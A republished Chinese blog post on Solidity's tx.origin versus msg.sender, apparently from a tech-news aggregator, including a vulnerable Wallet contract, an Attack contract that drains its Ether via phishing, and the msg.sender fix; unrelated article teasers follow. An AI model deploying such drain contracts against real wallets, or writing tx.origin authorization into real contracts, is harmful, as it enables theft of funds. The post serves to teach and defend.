tx.origin 与 msg.sender

news/2024/7/7 10:16:38

我最近一直在玩ethernaut web3/solidity 游戏,在第 4 级上,我浪费了几分钟来了解 tx.origin 和 msg.sender 之间的区别,它们在solidity 中构建全局变量。

根据solidity文档,tx.origin 保存交易发送者的地址,msg.sender 保存消息发送者的地址。那么这到底是什么意思呢?

msg.sender:指直接调用智能合约函数的账户地址或智能合约地址。

tx.origin:指调用智能合约函数的账户地址,只有账户地址可以是tx.origin。

一张图片胜过千言万语

您可能会注意到,账户地址和智能合约地址都可以是 msg.sender 但 tx.origin 将始终是账户/钱包地址。

强烈建议始终使用 msg.sender 进行授权或检查调用智能合约的地址。并且永远不要使用 tx.origin 进行授权,因为这可能会使合约容易受到网络钓鱼攻击。

THORChain最近损失了 800 万美元,是的,由于tx.origin 的滥用,在一次攻击中损失了 800 万美元,请务必仔细检查 tx.origin 是如何在智能合约中使用的,再见👋。

使用 tx.origin 进行网络钓鱼

msg.sender和有什么区别tx.origin

如果合约 A 调用 B,B 调用 C,则在 Cmsg.sender中是 B,并且tx.origin是 A。

漏洞

恶意合约可以欺骗合约所有者调用只有所有者才能调用的函数。

 
 
// SPDX-License-Identifier: MIT pragma solidity ^0.8.13; /* Wallet is a simple contract where only the owner should be able to transfer Ether to another address. Wallet.transfer() uses tx.origin to check that the caller is the owner. Let's see how we can hack this contract */ /* 1. Alice deploys Wallet with 10 Ether 2. Eve deploys Attack with the address of Alice's Wallet contract. 3. Eve tricks Alice to call Attack.attack() 4. Eve successfully stole Ether from Alice's wallet What happened? Alice was tricked into calling Attack.attack(). Inside Attack.attack(), it requested a transfer of all funds in Alice's wallet to Eve's address. Since tx.origin in Wallet.transfer() is equal to Alice's address, it authorized the transfer. The wallet transferred all Ether to Eve. */ contract Wallet { address public owner; constructor() payable { owner = msg.sender; } function transfer(address payable _to, uint _amount) public { require(tx.origin == owner, "Not owner"); (bool sent, ) = _to.call{value: _amount}(""); require(sent, "Failed to send Ether"); } } contract Attack { address payable public owner; Wallet wallet; constructor(Wallet _wallet) { wallet = Wallet(_wallet); owner = payable(msg.sender); } function attack() public { wallet.transfer(owner, address(wallet).balance); } }

预防技术

使用msg.sender代替tx.origin

 
 
function transfer(address payable _to, uint256 _amount) public { require(msg.sender == owner, "Not owner"); (bool sent, ) = _to.call{ value: _amount }(""); require(sent, "Failed to send Ether"); }

参考

https://medium.com/@nicolezhu/ethernaut-lvl-4-walkthrough-how-to-abuse-tx-origin-msg-sender-ef37d6751c8


http://lihuaxi.xjx100.cn/news/19234.html

相关文章

Matlab论文插图绘制模板第48期—平行坐标图(Parallelplot)

​上一期文章中,分享了Matlab帕累托图的绘制模板: 这一次,再来分享一种特殊的线图:平行坐标图。 ‘平行坐标图是一种通常的可视化方法,用于对高维几何和多元数据的可视化……为了克服传统的笛卡尔直角坐标系容易耗尽空…

vue3 基础语法(一)

1、this指向 的任何问题看 codeywhy 文章,都可以解决 https://mp.weixin.qq.com/s/hYm0JgBI25grNG_2sCRlTA methods 里面的this 实际上vue源码中,对methods中所有的函数进行了遍历,并且通过bind绑定了this 2、了解vscode 生成代码片段&#x…

LQ0014 求和【思维】

题目出处:蓝桥杯2022初赛 题目描述 给定n个整数a[1],a[2],…,a[n],求两两相乘再相加的和,即 Sa[1]a[2]a[1]a[3]…a[1]a[n]a[2]a[3]…a[2]a[n]…a[n-1]a[n] 输入格式 第一行为正整数n,第二行为n个整数。 30%的数据:2≤…

C++学习日记——宏函数和内联函数

学习目标 学习宏函数和内联函数的区别和使用 学习内容 宏函数: 使用宏定义定义出的函数,并不是真正意义上的函数 注意事项: 要保证运算的完整性 使用宏函数存在一定的缺陷 使用场景:频繁调用的短小的函数 优点: 不是…

Spring Boot集成第三方登录之微博登录

Spring Boot集成第三方登录之微博登录准备工作网站接入开发者信息认证创建应用流程分析引导授权用户用户授权授权成功换取Access TokenHTTP客户端使用Access Token请求相关接口根据用户ID获取用户信息获取用户的粉丝列表Spring Boot集成微博登录添加依赖封装Token等信息创建Log…

少年,不知道怎么在安卓中使用 PaddleOCR ?看我怎么把它二次封装成只需要两行代码即可使用

前言 什么是 PaddleOCR 根据官方的介绍: Awesome multilingual OCR toolkits based on PaddlePaddle (practical ultra lightweight OCR system, support 80 languages recognition, provide data annotation and synthesis tools, support training and deployme…

银行 IT 架构到底要不要云化?

【摘要】银行到底是继续采用集中式架构还是全部更换成分布式架构,是继续保持现有传统架构还是改造成基于云计算的全新架构?本文用较长篇幅全面分析了集中式架构(非云化架构)和分布式架构(云化架构)的特点、优缺点,并提出了转型思路,从技术和管理两个角度给出了转型路径…

FinOps能力成熟度模型启动,灵雀云助力云原生降本增效标准制定

9月16日,在2022中国数据中心市场年会“降本增效分论坛”上,《云原生FinOps能力成熟度模型》标准正式启动,作为FinOps产业标准工作组首批发起成员和云原生技术领域的唯一代表企业,灵雀云出席并参与授牌。 随着云计算的深入&#xf…